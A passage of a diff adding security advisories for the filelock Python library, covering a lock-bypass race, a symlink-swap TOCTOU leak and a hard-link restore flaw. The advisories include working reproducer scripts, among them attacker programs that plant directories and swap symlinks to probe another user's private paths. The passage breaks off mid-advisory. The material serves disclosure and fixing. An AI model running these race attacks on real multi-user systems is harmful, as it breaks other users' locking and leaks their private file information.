subprocess.Popen([*as_victim, lock_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\n first_lines = [first.stdout.readline().strip()]\n claims_owner = pwd.getpwuid(os.stat(claims).st_uid).pw_name\n\n removal = subprocess.run([*as_attacker, attacker_remove_claims, lock_path], check=True, capture_output=True, text=True)\n\n # the first process has not been sent its line yet: it is still inside its critical section\n second = subprocess.Popen([*as_victim, lock_path], stdin=subprocess.PIPE, stdout=subprocess.PIPE, text=True)\n second_lines = [second.stdout.readline().strip()]\n\n second_lines += second.communicate(\"\\n\")[0].split()\n first_lines += first.communicate(\"\\n\")[0].split()\n print(f\" {claims} is owned by {claims_owner}\")\n print(f\" attacker, while the first victim process holds the lock: {'; '.join(removal.stdout.splitlines())}\")\n print(f\" first victim process: {first_lines}\")\n print(f\" second victim process, started while the first is inside: {second_lines}\")\n return first_lines, second_lines\n\n\n# set up: a root-owned, sticky, world-writable directory, like /tmp itself\nshared = tempfile.mkdtemp(prefix=\"shared-\", dir=\"/tmp\")\nos.chmod(shared, 0o1777)\n\n# control: the victim's first acquire creates control.lock.filelock/claims itself\nprint(\"CONTROL victim creates the protocol directories\")\n_, control_second = two_victims_contend_while_attacker_removes_claims(f\"{shared}/control.lock\")\n\n# attack: the attacker creates work.lock.filelock/claims before the victim first uses work.lock\nprint(\"OBSERVED attacker creates the protocol directories first\")\nsubprocess.run([*as_attacker, attacker_plant_directory, f\"{shared}/work.lock\"], check=True)\nfirst, second = two_victims_contend_while_attacker_removes_claims(f\"{shared}/work.lock\")\n\n# check: the second process must be kept out while the first is inside, as it is in the control round\ninside_and_released_cleanly = [\"acquired\", \"is_locked=True\", \"released\"]\ncontrol_excludes = control_second == [\"Timeout\"]\nboth_inside = first == second == inside_and_released_cleanly\nprint(f\"control_excludes={control_excludes} both_inside={both_inside}\")\nprint(\"BUG\" if control_excludes and both_inside else \"OK\")\n```\n\n**`repro.d/attacker_plant_directory.py`**\n\n```python\nimport os\nimport sys\n\nos.umask(0) # 0777: the victim must be able to publish its claims inside\nos.makedirs(f\"{sys.argv[1]}.filelock/claims\")\n```\n\n**`repro.d/attacker_remove_claims.py`**\n\n```python\nimport os\nimport sys\n\nclaims = f\"{sys.argv[1]}.filelock/claims\"\nfor name in sorted(os.listdir(claims)):\n try:\n os.unlink(f\"{claims}/{name}\")\n print(f\"removed {name}\")\n except PermissionError as error:\n print(f\"cannot remove {name}: {error.strerror}\")\n```\n\n**`repro.d/victim_worker.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLockProtocolError, StrictSoftFileLock, Timeout\n\nlock = StrictSoftFileLock(sys.argv[1], timeout=1)\ntry:\n lock.acquire()\nexcept (Timeout, SoftFileLockProtocolError) as error:\n print(type(error).__name__, flush=True)\n sys.exit()\nprint(\"acquired\", flush=True)\n\nsys.stdin.readline() # the critical section: it lasts until the parent sends a line\n\nprint(f\"is_locked={lock.is_locked}\", flush=True)\nlock.release()\nprint(\"released\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant X as other account (uid attacker)\n participant D as work.lock.filelock/claims (sticky /tmp)\n participant A as holder A (uid victim)\n participant B as contender B (uid victim)\n rect rgb(255, 214, 214)\n X->>D: mkdir -m 777 -p, before the lock user's first use\n A->>D: acquire(): directory exists, is a directory, adopted\n A->>D: publish intent-v1-.claim and held-v1-.claim\n X->>D: unlink both claims (owner of the directory may)\n B->>D: acquire(): scan finds no claims, publishes its own, wins\n Note over A,B: both inside, is_locked True in both\n A->>D: release(): claims missing, counted as removed, no error\n end\n Note over A,D: control: directory created by the lock user is 0755, the other account's unlink gets EACCES, B raises Timeout\n```\n\n## Evidence\n\nThe scanner's reproducer (`victim` uid 1000, `attacker` uid 1001, lock `work.lock` in a root-owned `1777` directory under `/tmp`, `StrictSoftFileLock(path, timeout=1)`, Linux 6.1, CPython 3.14.8, overlayfs) runs the same contention twice. In the control round on `control.lock`, whose directories `victim` creates, it prints `claims is owned by victim`, the unlinks by `attacker` answer `Permission denied`, the first process prints `['acquired', 'is_locked=True', 'released']` and the second `['Timeout']`. In the observed round on `work.lock`, planted by `attacker`, it prints `claims is owned by attacker` and `removed held-v1-….claim; removed intent-v1-….claim`, and both processes print `['acquired', 'is_locked=True', 'released']`, the second having acquired before the first was let out. The verdict line reads `control_excludes=True both_inside=True` and then `BUG` after about 2 s. The scanner ran the variant that plants only the outer `.filelock` (then renames the `claims` of `victim` aside) by hand with the same result, and each `SoftReadWriteLock` effect listed under Mechanism in its own run with the same two accounts.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`). The review's regression tests for both sites need a sticky `/tmp` of another UID and ran there.\n\n## Impact\n\nAnother local user who can create names in the lock's directory puts two processes of the lock user, root included, into the same `StrictSoftFileLock` critical section at a moment of the other user's choosing, with no exception or other signal to either. Two processes then modify whatever the lock protects at the same time.\n\nAgainst `SoftReadWriteLock` the same position decides when two writers, or a writer and readers, are inside together and keeps `compromise` silent in all of them. It also gets file operations made with the lock user's privileges (root's, for a root service) in any directory the lock user can write: a file named `HEAD` replaced, files named `epoch` and `0000000000000000000N` created, files with 32-hex-digit names deleted. The bytes written are filelock's own records, not content the other user chooses. It can keep the lock user's acquire or release running past any `timeout`, or grow the lock user's memory by 1 MiB per planted file. It is **not** a disclosure of the lock user's data, and it does not reach a path the lock user has already used while that tree still exists.\n\n## Workarounds\n\nKeep strict and soft read-write locks in a directory other users cannot write, rather than `/tmp` or another sticky shared directory. Where a shared directory is unavoidable, create `.filelock/claims` (or `.rw` with `gen` and `holders`) as the service user before any other account can, for example at install or boot, and check `stat -c %U` of an existing tree before the first use. A tmp cleaner, a reboot or the `.rw` recovery removes the tree and reopens the window. The kernel refuses a planted `0755` strict tree (the lock user's acquire fails with `PermissionError`), so an acquire that raises that error on a new path without a known cause is worth investigating.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-Q5VK5JEE`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory; later narrowed to this finding, with `ANT-2026-AD6SUOON`, `ANT-2026-SVFEYX89`, `ANT-2026-M9OPCLPB` and `ANT-2026-6BC3LKF9` moved to advisories of their own\n- 2026-10-16 01:31 UTC: fix PR #839 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-9c4x-gm8v-wgc4" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112911" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/839" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112912.json b/advisories/BREW-virtualenv-CVE-2026-112912.json new file mode 100644 index 00000000000..9bf047d09fe --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112912.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112912", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-9j6q-wvj5-jgjg", + "CVE-2026-112912" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "21.7.9" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: Symlink swap during SoftFileLock's writability check leaks whether a path exists and is writable by the lock taker", + "details": "`raise_on_not_writable_file()` is the check that `SoftFileLock` and the locks sharing its acquire path run before every attempt. It looks at the lock path with `os.lstat`, so that it judges a planted symlink (a file that points at another path) by itself. When the node has no owner-write bit, it then calls `os.access(filename, os.W_OK)`, which follows symlinks. A local user who can create entries in the lock's directory can swap the path between a mode-`0466` file and a symlink to a path of their choosing. The second call then reports on the symlink's target with the permissions of the user running the lock (below: the lock user). The lock user's `acquire()` ends in `PermissionError` within a fraction of a second when the target is missing or not writable by the lock user, and in the ordinary `Timeout` otherwise.\n\nThat yields one bit per watched acquire. The bit says whether a path exists and is writable by the lock taker. It covers paths under directories the other user cannot search, or any path when root takes the lock. The lock does not open, create or modify anything through the symlink. On Linux, `fs.protected_symlinks` (a kernel setting that refuses to follow another user's symlink in a sticky world-writable directory) blocks it in a directory such as `/tmp`. It does not block it in a `0777` directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it) or in a sticky group-writable one. This reopens the leak PR #567 closed. Affected versions are filelock 3.32.6 through 4.2.0.\n\nAnthropic's OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-RQ91AXTW` [medium, CWE-59]: Symlink TOCTOU in raise_on_not_writable_file leaks file existence.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N` scores 2.5 (Low).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the swap has to land between two system calls a few bytecodes apart (6 to 12 % of back-to-back acquires with the other user on a second CPU, 1 in 8 000 on one CPU), and the other user has to observe how the lock user's acquire ended. `C:L` (partial confidentiality impact): one bit per acquire (existence or writability of a chosen path), no content. `I:N` and `A:N` (no integrity or availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional**, \"a one-bit probe of a victim-only path\" that \"Linux protected symlinks block in the common sticky `/tmp` case, but not every shared directory\". The scanner rated this medium. The maintainers score it low for the complexity and the one-bit yield.\n\n## Scope and preconditions\n\n- The affected classes are `SoftFileLock` and everything that reuses its `_acquire`: `MarkerSoftFileLock`, `SoftFileLease`, the async soft locks, and `FileLock` after an `ENOSYS` fallback to a soft lock. `UnixFileLock` itself does not call the helper. `WindowsFileLock._acquire()` does, but on Windows `os.access` reads the link's own read-only attribute and does not follow it; that branch did not run.\n- The other user must be able to create entries in the lock's directory. With Linux defaults (`fs.protected_symlinks=1`) the kernel refuses the lock user's attempt to follow another user's symlink in a directory that is both sticky and world-writable. `/tmp` therefore gives `PermissionError` for every target and leaks nothing. A `0777` directory without the sticky bit, or a sticky group-writable one (`1770` with a shared group), has no such cover and leaks as described. macOS and the BSDs have no `fs.protected_symlinks`, and a symlink there has mode bits of its own, so one without the owner-write bit would reach `os.access` with no swap at all (not executed).\n- The swap is practical only with a second CPU for the other user.\n- The other user needs to see how the lock user's acquire ended, for example the exception in a shared log, an exit status, or when the job stopped (`PermissionError` ends a blocking acquire within about a second; the other case runs to its timeout). The scanner also observed a variant that needs no output from the lock user. Hold the soft lock, set the marker (the lock file whose presence says a process holds the lock) to mode `0o066`, swap the symlink in and out for a few seconds, release, and see whether a marker owned by the other uid appears. A contender still waiting takes the lock; one that raised is gone.\n- The `O_NOFOLLOW` open that follows the check is not affected. The lock does not read, create or modify anything through the symlink.\n\n## Affected code\n\nScanned commit `b831496b0273`: in `raise_on_not_writable_file`, the [`os.lstat` that states the invariant](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L46-L50) and the [`os.access` call that follows symlinks](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L63-L71); the [call from `SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L63) at the start of every poll.\n\n## Introduced\n\n[f2f7b86](https://github.com/tox-dev/filelock/commit/f2f7b8696426) \"fix: respect ACL write access when the owner write bit is absent\" ([#728](https://github.com/tox-dev/filelock/pull/728), 2026-09-08), first tag 3.32.6 (verified), appended the `os.access` call to the `not S_IWUSR` test. [#567](https://github.com/tox-dev/filelock/pull/567) (022394c, first tag 3.29.5) had changed the helper from `os.stat` to `os.lstat` so that a symlink planted at the lock path could not probe its target.\n\n## Mechanism\n\n`SoftFileLock._acquire` calls the helper first, once per `poll_interval` (0.05 s by default) for as long as the lock user waits. The helper runs `os.lstat(path)`. When the node has no `S_IWUSR` it runs `os.access(path, os.W_OK, effective_ids=...)` without `follow_symlinks=False`. On current Linux that is `faccessat2(AT_FDCWD, path, W_OK, AT_EACCESS)`, which resolves a symlink. If that returns false, a second `os.lstat` confirms a node is still there and the helper raises `PermissionError`. The other user's planted file has mode `0466`: no owner-write bit, which sends the helper on to `os.access`, and other-writable, so that `os.access` on the file itself says yes. The other user alternates the file and a symlink at the path (`os.replace` of a fresh symlink, then `os.replace` of a hard link to the marker; the lock would evict a symlink left for 2 s as a malformed marker).\n\nOne call of the helper then goes one of three ways. First, `lstat` sees the symlink (mode `0777` on Linux, `S_IWUSR` set), `os.access` is not called, the helper returns. Second, `lstat` sees the file and `os.access` sees the file: true, returns. Third, `lstat` sees the file and `os.access` sees the symlink, resolved to its target with the lock user's permissions: returns if the lock user may write the target, otherwise raises `PermissionError`. After a return, the `O_CREAT | O_EXCL | O_NOFOLLOW` open fails with `EEXIST` and the poll ends as \"lock is held\". `PermissionError` therefore comes only from the third way and only for a target the lock user cannot write, and it leaves `acquire()` at once instead of after the timeout.\n\nThe scanner measured what the outcome encodes with 4 000 non-blocking acquires per target as `victim` (uid 1000, `0700` private directory). An existing file or directory of `victim`: 0 `PermissionError`. A missing name there gives 311 to 339. A `0444` file of `victim`: 433 to 460. `/etc/passwd` or `/etc/shadow`: 237 to 422. With root taking the lock the answer is plain existence, 0 for `/etc/shadow` and `/root/.bashrc`, 366 for a missing name under `/root`. A symlink alone at the path, without the swap, tells nothing (2 000 `Timeout` of 2 000 for both targets, then evicted as malformed after 2 s).\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-RQ91AXTW`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\nVICTIM_JOB = \"/tmp/repro.d/victim_job.py\"\nATTACKER = \"/tmp/repro.d/attacker_swaps_lock_path.py\"\nprivate_dir = \"/tmp/victim-private\"\nshared_dir = \"/tmp/team-locks\"\nlock_path = shared_dir + \"/app.lock\"\nas_victim = dict(user=\"victim\", group=\"victim\", extra_groups=[])\nas_attacker = dict(user=\"attacker\", group=\"attacker\", extra_groups=[])\n\nassert len(os.sched_getaffinity(0)) >= 2, \"the attacker's swap needs a CPU of its own\"\n\n# set up: victim's 0700 directory holds \"present\" and no \"absent\"\nshutil.rmtree(private_dir, ignore_errors=True)\nos.mkdir(private_dir, 0o700)\nopen(private_dir + \"/present\", \"w\").close()\nshutil.chown(private_dir + \"/present\", \"victim\", \"victim\")\nshutil.chown(private_dir, \"victim\", \"victim\")\n\njob_ended_with = {}\nfor name in (\"present\", \"absent\"):\n probed_path = f\"{private_dir}/{name}\"\n attackers_stat = subprocess.run([\"stat\", probed_path], capture_output=True, text=True, **as_attacker)\n assert attackers_stat.returncode != 0, \"attacker can stat the probed path directly\"\n print(f\"CONTROL attacker's own look: {attackers_stat.stderr.strip()}\")\n\n # 0777 without the sticky bit: fs.protected_symlinks does not cover it\n shutil.rmtree(shared_dir, ignore_errors=True)\n os.mkdir(shared_dir)\n os.chmod(shared_dir, 0o777)\n\n # attack: the lock path keeps alternating between a held marker and a symlink to probed_path\n attacker = subprocess.Popen([sys.executable, ATTACKER, lock_path, probed_path], **as_attacker)\n deadline = time.monotonic() + 10\n while not os.path.lexists(lock_path):\n assert time.monotonic() < deadline, \"attacker did not plant the lock path\"\n time.sleep(0.01)\n\n started = time.monotonic()\n job = subprocess.run([sys.executable, VICTIM_JOB, lock_path], capture_output=True, text=True, **as_victim)\n waited = time.monotonic() - started\n attacker.kill()\n attacker.wait()\n\n job_ended_with[name] = (job.stderr or job.stdout).strip().splitlines()[-1] # last line of the traceback\n print(f\"OBSERVED {probed_path} exists={os.path.exists(probed_path)} (read as root); \"\n f\"victim's job ended after {waited:.1f} s with: {job_ended_with[name]}\")\n\n# check: a lock that ignores the symlink's target ends both jobs in Timeout; here the ending tells the two apart\ntimeout_where_present = job_ended_with[\"present\"].startswith(\"filelock._error.Timeout:\")\npermission_error_where_absent = job_ended_with[\"absent\"].startswith(\"PermissionError:\")\nprint(\"BUG\" if timeout_where_present and permission_error_where_absent else \"OK\")\n```\n\n**`repro.d/attacker_swaps_lock_path.py`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport sys\nimport time\n\nlock_path, probed_path = sys.argv[1], sys.argv[2]\nheld_marker = lock_path + \".held\"\nstaged = lock_path + \".staged\"\n\nwith open(held_marker, \"w\") as marker:\n marker.write(\"1\\nanother-host\\n\") # pid 1 on another host: never judged stale, so the victim keeps polling\n# no u+w sends raise_on_not_writable_file() on to os.access(); o+w makes os.access() pass for this file itself\nos.chmod(held_marker, 0o466)\n\ngive_up_at = time.monotonic() + 60\nwhile time.monotonic() < give_up_at:\n # a fresh symlink each round: one left unchanged for 2 s is evicted as a malformed marker\n os.symlink(probed_path, staged)\n os.replace(staged, lock_path)\n os.link(held_marker, staged)\n os.replace(staged, lock_path)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\n#!/usr/bin/env python3\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1], timeout=5):\n print(\"working under the lock\")\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as other account (second CPU)\n participant L as app.lock in a 0777 non-sticky directory\n participant V as lock user: SoftFileLock(path, timeout=5)\n participant P as /home/victim/private (0700)\n A->>L: plant 0466 marker naming pid 1 on another host (not stale at any time)\n loop every few microseconds\n A->>L: os.replace(fresh symlink -> /home/victim/private/absent)\n A->>L: os.replace(hard link to the 0466 marker)\n end\n loop every poll_interval (0.05 s)\n V->>L: os.lstat -> regular file, no S_IWUSR\n rect rgb(255, 214, 214)\n V->>L: os.access(path, W_OK) lands on the symlink\n L->>P: resolved to /home/victim/private/absent with the lock user's permissions\n P-->>V: False (missing)\n V->>L: os.lstat -> a node is there\n V->>V: raise PermissionError after 0.4 s instead of Timeout after 5 s\n end\n end\n A->>A: the lock user's job ended early: the name does not exist (or is not writable by the lock user)\n```\n\n## Evidence\n\nThe scanner reproducer runs with `victim` uid 1000 owning `/tmp/victim-private` mode `0700` holding `present` and not `absent`; `attacker` uid 1001, no shared group; lock directory `/tmp/team-locks` root-owned `0777` without the sticky bit; `fs.protected_symlinks=1`; 2 CPUs; Linux 6.1, CPython 3.14.8. It printed `CONTROL attacker's own look: stat: cannot statx '/tmp/victim-private/present': Permission denied` and then `OBSERVED /tmp/victim-private/present exists=True (read as root); victim's job ended after 5.1 s with: filelock._error.Timeout ...`. For the other target it printed `CONTROL ... '/tmp/victim-private/absent': Permission denied` and `OBSERVED /tmp/victim-private/absent exists=False (read as root); victim's job ended after 0.4 s with: PermissionError: [Errno 13] Permission denied: '/tmp/team-locks/app.lock'`, then `BUG`. The verdict requires the job for `present` to end in `Timeout` and the job for `absent` in `PermissionError`. In 40 runs a blocking acquire met its first `PermissionError` after 0.1 to 0.7 s.\n\nIn the maintainers' triage the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and checked on macOS that `os.access` there supports `follow_symlinks`, relevant to the platform note above.\n\n## Impact\n\nA local user who can write the directory of a soft lock learns, for a path of its choosing, whether that path exists and is writable by the user taking the lock. That includes paths under directories the other user cannot search (a `0700` home or project tree; any path when root takes the lock), one bit per acquire it watches, repeatable with a different target each time. The reproducer shows the existence half; a read-only file of the lock user gives the same `PermissionError` as a missing name. The lock opens, creates and modifies nothing through the symlink, and the acquire itself is not redirected. The other user can already deny the lock by planting a marker, so the early `PermissionError` is not a new availability effect. This is the disclosure PR #567 closed, reachable again through the call PR #728 added.\n\n## Workarounds\n\n- Keep soft-lock directories writable only by the lock's own account, or use a sticky world-writable directory on Linux with `fs.protected_symlinks=1` (the default), where the kernel refuses to follow another user's symlink and the check leaks nothing.\n- Do not take soft locks as root in directories other users can write.\n- Where a group-shared directory is unavoidable, give the marker an owner-write bit (the default mode does) and do not rely on ACL-granted access, so the `os.access` branch is not reached for the lock user's own marker. The other user's planted `0466` file still reaches it, so this only narrows the window.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated medium by the scanner)\n- 2026-10-16 05:38 UTC: draft advisory created (first as part of GHSA-69hj-f68j-2879, then split out)\n- 2026-10-16 01:16 UTC: fix PR #835 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-9j6q-wvj5-jgjg" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112912" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/835" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/e1e825b1992f69fb6b346dc395d5ae4893536c0a" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112914.json b/advisories/BREW-virtualenv-CVE-2026-112914.json new file mode 100644 index 00000000000..9931b988e9f --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112914.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112914", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-crv4-6mhj-j5jh", + "CVE-2026-112914" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "21.14.7" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory", + "details": "When a soft-lock stale break finds that the marker (the lock file at ``) it renamed aside was a live one recreated by a successor, the restore branch of `break_lock_file()` checks the break name with `lstat` (a check that reads a name without following a symbolic link) and then calls `os.link(break_path, lock_file)` by name. On CPython 3.12 and later on Linux (and on macOS) that call follows a symbolic link (a file that redirects to another path). A local user (the other user below) who can write a shared lock directory without the sticky bit (a directory flag that lets only a file's owner rename or remove it) replaces the break name with a symbolic link between those two calls.\n\nThe `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` or `lifetime` break of the user running the lock (the lock user below) then creates a hard link (a second name for the same file), in that directory, to any of the lock user's own files on the same filesystem. That includes files inside directories the other user cannot enter and links that `fs.protected_hardlinks` (a Linux setting that forbids hard links to files one does not own) refuses the other user when it asks itself. The link exposes the file's size, times, mode and owner, keeps the inode (the kernel's identity for a file, independent of its name) alive, and gives the other user a name it can move. On 4.2.0 a later `FileLock` of the lock user on that name truncated the file. Affected versions: filelock >= 4.1.0 and <= 4.2.0 (finding `ANT-2026-SB29HIAL`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): two short races against a few lines of Python, timed by inotify (a Linux facility that reports file events), and the lock user must take the lock again and again (the scanner won 10 runs out of 10 after 9 to 910 lock cycles). `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the lock user's process acts on its own. `C:L` (low confidentiality impact): the file's metadata through the new name, not its content. `I:H` (high integrity impact): the other user chooses the file, and whatever the lock user later does to names in that directory lands on it. On 4.2.0 the lock user's own `FileLock` truncated the 17-byte private file to 0 bytes and, with a permissive `mode`, would have changed its mode too. `A:N` (no availability impact): the lock keeps working.\n\nClassification from the review: security, conditional on a shared parent without the sticky bit, which crosses the protected-directory boundary. The scanner rated it high (CWE-363). This is an earlier-public-context finding. #786 added the restore branch and guarded a symbolic link already present when `lstat` runs, not one swapped in after it.\n\n## Scope and preconditions\n\n- The other user can write the lock directory, and it has no sticky bit: a `0777` or group-writable cache or project directory. In a root-owned `1777` directory the unprivileged lock user cannot rename the other user's marker and only waits. In a `1777` directory the lock user owns, `fs.protected_symlinks=1` (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the `link` fail with `EACCES` (permission denied). Testing showed no effect in sticky directories.\n- The interpreter's `os.link` follows symbolic links. CPython 3.14 on Linux issues `linkat(..., AT_SYMLINK_FOLLOW)`. CPython 3.11 issues `link(2)`, which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS `link(2)` follows (confirmed in our review on macOS 27.0.1: a plain `os.link` of a symbolic link gave the target `st_nlink` 2, that is two names).\n- The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.\n- Every soft-lock path reaches the branch: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease` and the `lifetime` break. The native `FileLock` does not, but it is the consumer that turns the planted link into a truncation.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.\n\n## Affected code\n\nAt the scanned commit b831496, the restore branch of [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L122) runs for [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81), [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) and the [`lifetime` break](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1576-L1588). The truncation in [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) is what a later native lock on the planted name did to the file (reported in its own advisory).\n\n## Introduced\n\nfc73fc51e137 (\"fix(soft): restore a live marker a stale break moved aside\", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.\n\n## Mechanism\n\n```python\n# src/filelock/_util.py:115-122\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:\n Path(break_path).unlink()\nelif stat.S_ISREG(st_after.st_mode) and _HAS_LINK: # pragma: needs hard-link\n with suppress(FileExistsError):\n os.link(break_path, lock_file)\n Path(break_path).unlink()\n```\n\nThe `S_ISREG` test (is it a regular file) is about what `lstat` saw on line 117, not about what `link` resolves on line 121. The docstring says the code must not put a symbolic link back \"because `link` would follow a symlink to its target\", and the test at the scanned commit names the consequence (\"publish the victim file's inode at the lock path\"), but that test only covers a symbolic link that is already there when `lstat` runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass `follow_symlinks=False` where the runtime honours it; this one does not. An `strace` (a tool that logs a process's system calls) on CPython 3.14.8 shows `os.link(a, b)` as `linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW)`.\n\nThe other user plays both the stale holder and the \"successor\" the branch exists for:\n\n1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and `_exit`s). The lock user's `_try_break_stale_lock()` 